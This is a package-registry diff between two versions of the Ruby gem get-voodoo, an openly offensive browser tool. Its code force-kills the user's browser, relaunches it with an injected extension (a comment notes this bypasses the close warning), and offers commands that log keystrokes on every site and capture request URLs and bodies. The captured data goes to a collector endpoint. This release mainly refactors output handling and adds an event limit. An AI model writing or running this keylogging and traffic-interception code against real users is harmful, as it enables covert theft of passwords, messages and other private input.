get-voodoo 0.0.4 → 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: bf52ab53234e0fe391f2fe8231ebd422bdaa75d4ede9a3fcd2a92417865f0f44
4
- data.tar.gz: 7b6c2e3ff3c2bf4ce4267c709afe5f51d190c185fedfa9777842aafb193ca560
3
+ metadata.gz: b45cd5bfcb3fca16181b82d0953f164918c07392eb18f8aa4d55478521fd2154
4
+ data.tar.gz: a7fee0193c268c0a702ca77ec8f49537cb3fe094adf00638c0a33fc6cb7ebd0a
5
5
  SHA512:
6
- metadata.gz: 9c690a0cc390cad10c6b34e31093a35a805c11d6e1f98b20a0b2c94168e9c1356c9255387af4527e1340d8cbedd502dabc4d9756c1b4230da408bd33c2615d4e
7
- data.tar.gz: c13bdf316ab82d192c48871336dd59d00b49596cd6894aadb0b2c23b2744bf49faafcf8b9c5504523f9168efdef33f65f823402c5a48d52aa2740d9082688462
6
+ metadata.gz: dc81a7f05068b804b8a7eed2a1d95533c7733e7bb41bb0efe7fffb58e722379d8dc7f6e7d6fa7673be2598f9a068640112108678ccef6cda6834072ec6347d02
7
+ data.tar.gz: 6524d367047d65af47ebc1a290e012c58303e5b4e6d8d2911b90ec23ff4b4f7b9fc6f50cbf34fa2374a24d72845a223fca1679517a15895b98a7fca00265d436
@@ -19,15 +19,16 @@ module VOODOO
19
19
  @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
20
20
  end
21
21
 
22
- def keylogger(matches: '*://*/*')
22
+ def keylogger(matches: '*://*/*', max_events: nil)
23
23
  add_script(matches: matches,
24
- file: File.join(__dir__, 'js/keylogger.js')
24
+ file: File.join(__dir__, 'js/keylogger.js'),
25
+ max_events: max_events
25
26
  ) do |event|
26
27
  yield event
27
28
  end
28
29
  end
29
30
 
30
- def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
31
+ def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
31
32
  options = {
32
33
  matches: matches,
33
34
  url_include: url_include,
@@ -37,6 +38,7 @@ module VOODOO
37
38
 
38
39
  add_script(options: options,
39
40
  background: true,
41
+ max_events: max_events,
40
42
  file: File.join(__dir__, 'js/intercept.js')
41
43
  ) do |event|
42
44
  yield event
@@ -48,13 +50,14 @@ module VOODOO
48
50
  @extension.manifest[:permissions] += permissions
49
51
  end
50
52
 
51
- def hijack(urls)
53
+ def hijack(urls = [])
52
54
  # kill the browser process twise, to bypass close warning
53
55
  `pkill -a -i "#{@process_name}"`
54
56
  `pkill -a -i "#{@process_name}"`
55
57
  sleep 0.1
56
58
 
57
59
  urls = [urls] unless urls.kind_of? Array
60
+ urls = urls.uniq
58
61
 
59
62
  profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
60
63
  `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
@@ -91,7 +94,7 @@ module VOODOO
91
94
  self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
92
95
  end
93
96
 
94
- def add_script(content: nil, file: nil, matches: nil, options: {}, background: false)
97
+ def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
95
98
  if matches != nil && background != false
96
99
  puts 'WARNING: matches is ignored when background is set to true.'
97
100
  end
@@ -104,14 +107,48 @@ module VOODOO
104
107
  raise StandardError.new(':content or :file argument are required')
105
108
  end
106
109
 
110
+ event_count = 0
111
+
107
112
  if block_given?
108
113
  collector = Collector.new
109
- collector.on_json {|jsond| yield jsond }
114
+ collector.on_json {|jsond|
115
+ yield jsond
116
+ if (max_events != nil)
117
+ event_count += 1
118
+ if event_count >= max_events.to_i
119
+ collector.thread.kill
120
+ end
121
+ end
122
+ }
110
123
  @collector_threads.push(collector.thread)
111
124
  options[:collector_url] = collector.url
112
125
  end
113
126
 
114
- content = build_js('voodoo.js', with_options: options) + "\n" + content
127
+ options.keys.each do |key|
128
+ options[(key.to_sym rescue key) || key] = options.delete(key)
129
+ end
130
+
131
+ voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
132
+ content = voodoo_js + "\n" + content
133
+
134
+ # find variables
135
+ variables = content.scan(/%{[a-z_0-9]+}/i)
136
+
137
+ for var in variables
138
+ # remove %{}
139
+ var_sym = var[2...(var.length)-1].to_sym
140
+ if !options[var_sym]
141
+ # when option is missing set it to nil
142
+ options[var_sym] = nil
143
+ else
144
+ if !options[var_sym].kind_of? String
145
+ content = content.gsub("\"#{var}\"", var)
146
+ options[var_sym] = JSON.generate(options[var_sym])
147
+ end
148
+ end
149
+ end
150
+
151
+ content = content % options
115
152
 
116
153
  if background == true
117
154
  return @extension.add_background_script(content: content)
@@ -132,14 +169,6 @@ module VOODOO
132
169
  @collector_threads.push(collector.thread)
133
170
  return collector
134
171
  end
135
-
136
- def build_js(file, with_options: nil)
137
- js = File.read(File.join(__dir__, 'js', file))
138
- if with_options != nil
139
- js = js.gsub('$OPTIONS', JSON.generate(with_options))
140
- end
141
- return js
142
- end
143
172
  end
144
173
 
145
174
  end
data/lib/voodoo/cli.rb CHANGED
@@ -1,6 +1,7 @@
1
1
  require 'thor'
2
2
  require 'json'
3
3
  require 'yaml'
4
+ require 'voodoo/output'
4
5
  require 'voodoo/browser'
5
6
 
6
7
  module VOODOO
@@ -17,169 +18,123 @@ module VOODOO
17
18
  option :url_include, :type => :string, :aliases => :u, :default => nil
18
19
  option :body_include, :type => :string, :aliases => :b, :default => nil
19
20
  option :header_exists, :type => :string, :aliases => :h, :default => nil
20
- option :output, :type => :string, :aliases => :o, :default => 'stdout',:desc => '<path>, stdout'
21
+ option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
22
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
21
23
  option :urls, :type => :array, :aliases => :x, :default => []
22
24
  option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
23
25
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
24
- desc 'intercept', 'intercept browser requests'
26
+ option :max_events, :type => :numeric, :default => nil
27
+ desc 'intercept', 'Intercept browser requests'
25
28
  def intercept
26
29
  browser = get_browser options[:browser]
27
-
28
- output = options[:output]
29
-
30
- if output != 'stdout'
31
- output = open(output, 'a')
32
- end
30
+ output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
33
31
 
34
32
  browser.intercept(matches: options[:matches],
35
33
  url_include: options[:url_include],
36
- body_include: options[:body_include]) do |event|
37
- req = event[:payload]
38
-
39
- if output != 'stdout'
40
- output.puts JSON.generate(req)
41
- output.close
42
- output = open(output, 'a')
43
- else
44
- puts "#{req[:method]} #{req[:url]}"
45
- if req[:body]
46
- body = req[:body]
47
- if body.length > 100
48
- body = body[0...97] + '...'
49
- end
50
- puts "BODY: #{body}"
51
- end
52
- end
34
+ body_include: options[:body_include],
35
+ max_events: options[:max_events]) do |event|
36
+ output_handler.handle(event)
53
37
  end
54
38
 
55
- browser.hijack url: options[:site]
39
+ browser.hijack options[:urls]
56
40
  end
57
41
 
58
42
  option :urls, :type => :array, :aliases => :x, :default => []
59
- option :output, :type => :string, :aliases => :o, :desc => '<path>, stdout', :default => nil
60
- option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
43
+ option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
44
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
45
+ option :params, :type => :hash,:aliases => :p, :default => {}
61
46
  option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
62
47
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
63
48
  option :permissions, :type => :array, :aliases => :p, :default => []
64
- desc 'script <js/path>', 'add a content script'
49
+ option :max_events, :type => :numeric, :default => nil
50
+ desc 'script <js/path>', 'Add a content script'
65
51
  def script(path_or_js)
66
52
  browser = get_browser options[:browser]
67
53
  browser.add_permissions options[:permissions]
54
+ output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'script')
68
55
 
69
- output = options[:output]
56
+ file = nil
57
+ content = nil
70
58
 
71
- if output != nil && output != 'stdout'
72
- output = open(output, 'a')
59
+ if File.exists? path_or_js
60
+ file = path_or_js
61
+ else
62
+ content = path_or_js
73
63
  end
74
64
 
75
- if File.exists? path_or_js
76
- if output != nil
77
- browser.add_script file: path_or_js, options: options[:js_vars] do |event|
78
- if output != 'stdout'
79
- output.puts JSON.generate(event)
80
- else
81
- puts "#{event[:origin]}: #{event[:payload]}"
82
- end
83
- end
84
- else
85
- browser.add_script file: path_or_js, options: options[:js_vars]
65
+ if output_handler.writable
66
+ browser.add_script file: file, content: content, options: options[:params], max_events: options[:max_events] do |event|
67
+ output_handler.handle(event)
86
68
  end
87
69
  else
88
- if output != nil
89
- browser.add_script content: path_or_js, options: options[:js_vars] do |event|
90
- if output != 'stdout'
91
- output.puts JSON.generate(event)
92
- else
93
- puts "[+] #{event[:origin]} => #{event[:payload]}"
94
- end
95
- end
96
- else
97
- browser.add_script content: path_or_js, options: options[:js_vars]
98
- end
70
+ browser.add_script file: file, content: content, options: options[:params]
99
71
  end
100
72
 
101
- browser.hijack url: options[:site]
73
+ browser.hijack options[:urls]
102
74
  end
103
75
 
104
76
  option :urls, :type => :array, :aliases => :x, :default => []
105
- option :output, :type => :string, :aliases => :o, :default => 'stdout', :desc => '<path>, stdout'
77
+ option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
78
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
106
79
  option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
107
80
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
108
- desc 'keylogger', 'records user keystrokes'
81
+ option :max_events, :type => :numeric, :default => nil
82
+ desc 'keylogger', 'Records user keystrokes'
109
83
  def keylogger
110
84
  browser = get_browser options[:browser]
111
- output = options[:output]
112
-
113
- if output != 'stdout'
114
- output = open(output, 'a')
85
+ output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'keylogger')
86
+ browser.keylogger(matches: options[:matches], max_events: options[:max_events]) do |event|
87
+ output_handler.handle(event)
115
88
  end
116
-
117
- browser.keylogger(matches: options[:matches]) do |event|
118
- if output != 'stdout'
119
- output.puts JSON.generate(event)
120
- else
121
- print event[:payload][:log]
122
- end
123
- end
124
-
125
- browser.hijack url: options[:site]
89
+ browser.hijack options[:urls]
126
90
  end
127
91
 
128
92
  option :browser, :type => :string, :aliases => :b, :default => nil
129
- option :output, :type => :string, :aliases => :o, :default => 'none', :desc => 'none, <path>, stdout, stdout:payload'
93
+ option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
94
+ option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
130
95
  option :urls, :type => :array, :aliases => :x, :default => []
131
- option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
132
- desc 'template <path>', 'execute a VOODOO template'
96
+ option :params, :type => :hash,:aliases => :p, :default => {}
97
+ option :max_events, :type => :numeric, :default => nil
98
+ desc 'template <path>', 'Execute a VOODOO template'
133
99
  def template(path)
134
100
  pwd = Dir.pwd
135
- output = options[:output]
136
101
 
137
102
  if File.directory? path
138
- pwd = File.expand_path File.join(pwd, path)
139
- template = YAML.load_file(File.join(path, 'voodoo.ymal'))
103
+ pwd = File.expand_path(File.join(pwd, path))
104
+ template = YAML.load_file(File.join(path, 'voodoo.yaml'))
140
105
  else
141
- pwd = File.expand_path File.join(pwd, File.dirname(path))
106
+ pwd = File.expand_path(File.join(pwd, File.dirname(path)))
142
107
  template = YAML.load_file(path)
143
108
  end
144
109
 
145
- template = YAML.load_file(path)
146
-
147
- if output == 'none' && template['output']
148
- output = template['output']
149
- end
150
-
151
110
  browser_inst = template['browser'] || {}
152
-
153
111
  browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
154
112
 
155
113
  if template['permissions']
156
114
  browser.add_permissions template['permissions']
157
115
  end
158
-
159
- if !['stdout', 'stdout:payload', 'none'].include? output
160
- output = open(output, 'a')
116
+
117
+ output_format = options[:format]
118
+ is_default = output_format == 'none'
119
+
120
+ if is_default && template['format']
121
+ output_format = template['format']
161
122
  end
162
123
 
163
- template['scripts'].each do |script|
124
+ output_handler = Output.new(file: options[:output], in_format: output_format, for_command: 'template')
125
+
126
+ template['scripts'].each do |script|
164
127
  file = File.expand_path(File.join(pwd, script['file'])) if script['file']
165
128
  content = script['content']
166
129
  matches = script['matches']
167
- js_vars = options[:js_vars]
168
130
  background = script['background'] || false
169
131
 
170
- if output != 'none'
171
- browser.add_script(matches: matches, file: file, content: content, options: js_vars, background: background) do |event|
172
- case output
173
- when 'stdout'
174
- puts JSON.generate(event)
175
- when 'stdout:payload'
176
- puts JSON.generate(event[:payload])
177
- else
178
- output.puts JSON.generate(event)
179
- end
132
+ if output_handler.writable
133
+ browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
134
+ output_handler.handle(event)
180
135
  end
181
136
  else
182
- browser.add_script(matches: matches,content: content, options: js_vars, background: background)
137
+ browser.add_script(matches: matches,content: content, options: options[:params], background: background)
183
138
  end
184
139
  end
185
140
 
@@ -189,7 +144,7 @@ module VOODOO
189
144
  urls = browser_inst['urls']
190
145
  end
191
146
 
192
- browser.hijack urls.uniq
147
+ browser.hijack urls
193
148
  end
194
149
 
195
150
  def self.exit_on_failure?
@@ -2,8 +2,14 @@
2
2
  * VOODOO Intercept
3
3
  */
4
4
  (function () {
5
- let options = VOODOO.options || {};
6
- let matches = options.matches || ["<all_urls>"];
5
+ let options = {
6
+ body_include: "%{body_include}",
7
+ url_include: "%{url_include}",
8
+ collector_url: "%{collector_url}",
9
+ header_exists: "%{header_exists}"
10
+ };
11
+
12
+ let matches = "%{matches}";
7
13
 
8
14
  if (options.header_exists) {
9
15
  options.header_exists = options.header_exists.toLowerCase();
@@ -13,6 +19,14 @@
13
19
  matches = [matches];
14
20
  }
15
21
 
22
+ function parseBody(body) {
23
+ try {
24
+ return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
25
+ } catch {
26
+ return "";
27
+ }
28
+ }
29
+
16
30
  const requests = new Map();
17
31
 
18
32
  chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
@@ -48,13 +62,20 @@
48
62
  }
49
63
 
50
64
  if (options.url_include && request.url.indexOf(options.url_include) === -1) {
51
- return;
65
+ return { cancel: false };
52
66
  }
53
67
 
54
- try {
55
- request.body = request.requestBody.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
68
+ if (options.body_include && !request.requestBody) {
69
+ return { cancel: false };
70
+ }
71
+
72
+ if (request.requestBody) {
73
+ request.body = parseBody(request.requestBody);
56
74
  delete request.requestBody;
57
- } catch { }
75
+ if (options.body_include && request.body.indexOf(options.body_include) === -1) {
76
+ return { cancel: false };
77
+ }
78
+ }
58
79
 
59
80
  requests.set(request.requestId, request);
60
81
  return { cancel: false };
@@ -24,7 +24,7 @@
24
24
  if (output.length === 0) {
25
25
  return;
26
26
  }
27
- VOODOO.send({ log: output });
27
+ VOODOO.send(output);
28
28
  output = "";
29
29
  }
30
30
 
@@ -3,7 +3,7 @@ if (!sessionStorage.tab_uuid) {
3
3
  }
4
4
 
5
5
  const VOODOO = {
6
- options: $OPTIONS || {},
6
+ options: { collector_url: "%{collector_url}" },
7
7
  send(payload) {
8
8
  if (!VOODOO.options.collector_url) {
9
9
  return;
@@ -0,0 +1,60 @@
1
+ module VOODOO
2
+
3
+ class Output
4
+ attr_reader :writable
5
+
6
+ def initialize(file: nil, in_format: nil, for_command: nil)
7
+ @file = nil
8
+ @format = in_format
9
+ @command = for_command
10
+ @writable = in_format != 'none'
11
+ @file = open(file, 'a') if file
12
+ end
13
+
14
+ def write(any, with_print: false)
15
+ if @file
16
+ @file.puts any
17
+ else
18
+ if with_print
19
+ print any
20
+ else
21
+ puts any
22
+ end
23
+ end
24
+ end
25
+
26
+ def handle(event)
27
+ if !@writable
28
+ return
29
+ end
30
+
31
+ case @format
32
+ when 'pretty'
33
+ case @command
34
+ when 'keylogger'
35
+ write event[:payload], with_print: true
36
+ when 'intercept'
37
+ req = event[:payload]
38
+ write "#{req[:method]} #{req[:url]}"
39
+ req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
40
+
41
+ if req[:body]
42
+ write "BODY: #{event[:payload][:body]}"
43
+ end
44
+ else
45
+ write JSON.generate(event[:payload])
46
+ end
47
+ when 'json'
48
+ write JSON.generate(event)
49
+ when 'payload'
50
+ write JSON.generate(event[:payload])
51
+ else
52
+ write JSON.generate(event)
53
+ end
54
+
55
+ true
56
+ end
57
+
58
+ end
59
+
60
+ end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: get-voodoo
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.4
4
+ version: 0.0.5
5
5
  platform: ruby
6
6
  authors:
7
7
  - Ron Masas
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-03-11 00:00:00.000000000 Z
11
+ date: 2022-03-12 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: thor
@@ -83,6 +83,7 @@ files:
83
83
  - lib/voodoo/js/intercept.js
84
84
  - lib/voodoo/js/keylogger.js
85
85
  - lib/voodoo/js/voodoo.js
86
+ - lib/voodoo/output.rb
86
87
  homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
87
88
  licenses:
88
89
  - GPL-2.0